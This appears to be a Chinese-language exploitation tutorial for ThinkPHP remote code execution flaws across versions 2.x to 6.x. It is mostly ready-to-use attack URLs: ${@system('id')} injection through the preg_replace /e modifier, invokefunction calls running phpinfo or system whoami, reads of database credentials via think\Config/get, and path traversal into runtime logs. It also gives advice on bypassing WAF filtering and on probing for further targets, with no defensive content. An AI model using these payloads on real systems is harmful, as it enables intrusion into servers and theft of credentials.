ThinkPHP各版本RCE漏洞利用方式不同:2.x/3.x依赖preg_replace /e修饰符,需区分PATHINFO与兼容模式并注入${@phpinfo()};5.x通过路由调度链调用invokeFunction等方法执行代码或读取配置;6.x早期版本可利用路由占位符注入实现RCE。

ThinkPHP 2.x/3.x 远程代码执行漏洞利用
2.x 和 3.x 的 RCE 漏洞核心都依赖于 preg_replace 的 /e 修饰符执行代码,但触发路径和参数结构完全不同。
第一步:确认目标使用的是 PATHINFO 模式还是兼容模式。若 URL 中含 index.php/模块/控制器/方法 结构,大概率是 PATHINFO;若为 index.php?s=/模块/控制器/方法,则是兼容模式。
第二步:在 PATHINFO 模式下,直接在任意参数值位置插入 ${@phpinfo()}。例如访问 http://target/index.php/Index/index/name/${@phpinfo()},框架会将 ${@phpinfo()} 当作变量解析并执行——【必须确保该参数名未被白名单过滤,否则会被截断】。
第三步:在兼容模式下,需将 payload 放入 s 参数中,格式为 /模块/控制器/方法/${@system('id')}。注意斜杠数量必须为偶数,否则无法触发正则匹配逻辑。
立即学习“PHP免费学习笔记(深入)”;
这一步操作起来很简单,直接把 payload 拼进 URL 就行,但若目标已禁用 preg_replace 的 /e 修饰符(PHP 7.3+ 默认废弃),该方法将完全失效。
ThinkPHP 5.0.x–5.1.x 经典 RCE 利用
5.x 系列漏洞不再依赖正则,而是通过路由调度链中的动态类调用实现 RCE,利用面更广、绕过方式更多。
方法一:调用 think\App::invokeFunction 执行任意函数
构造请求:GET /index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1。
该方式适用于 5.0.0–5.0.23 和 5.1.0–5.1.37,【vars[1] 必须为数组格式,传字符串会导致调用失败】。
方法二:读取敏感配置信息
利用 think\Config::get 获取数据库账号:?s=index/\think\Config/get&name=database.username。
此方法不触发代码执行,但可直接泄露关键凭证,常被用于横向渗透前期侦察。
方法三:模板文件包含
当目标开启多语言或调试模式时,可尝试:?s=index/\think\Lang/load&file=../../Runtime/Log/202608/07.log,读取日志内容获取管理员输入的敏感参数。
ThinkPHP 6.x 路由解析型 RCE 利用
6.x 版本重构了路由系统,但早期版本(6.0.0–6.0.12)在 route/parse 逻辑中仍保留危险的控制器名拼接,攻击者可通过路由占位符注入代码。
直接访问:GET /index.php/:controller/:action,将 :controller 替换为 \think\app\invokefunction,再通过 query 参数传递函数名与参数:GET /index.php/\think\app\invokefunction/function/call_user_func_array/vars[0]/system/vars[1][0]/whoami。
该方式不依赖 s 参数,绕过部分 WAF 对 s= 的关键词拦截。但需注意:若目标启用了强制路由(url_route_must 为 true),此路径将直接 404,无法进入解析流程。
如果目标返回 500 错误且响应体含 ReflectionException,说明控制器路径解析已触发,只是传入的类名不存在——此时可尝试替换为 \think\Request 或 \think\Response 等基础类进一步探测。



















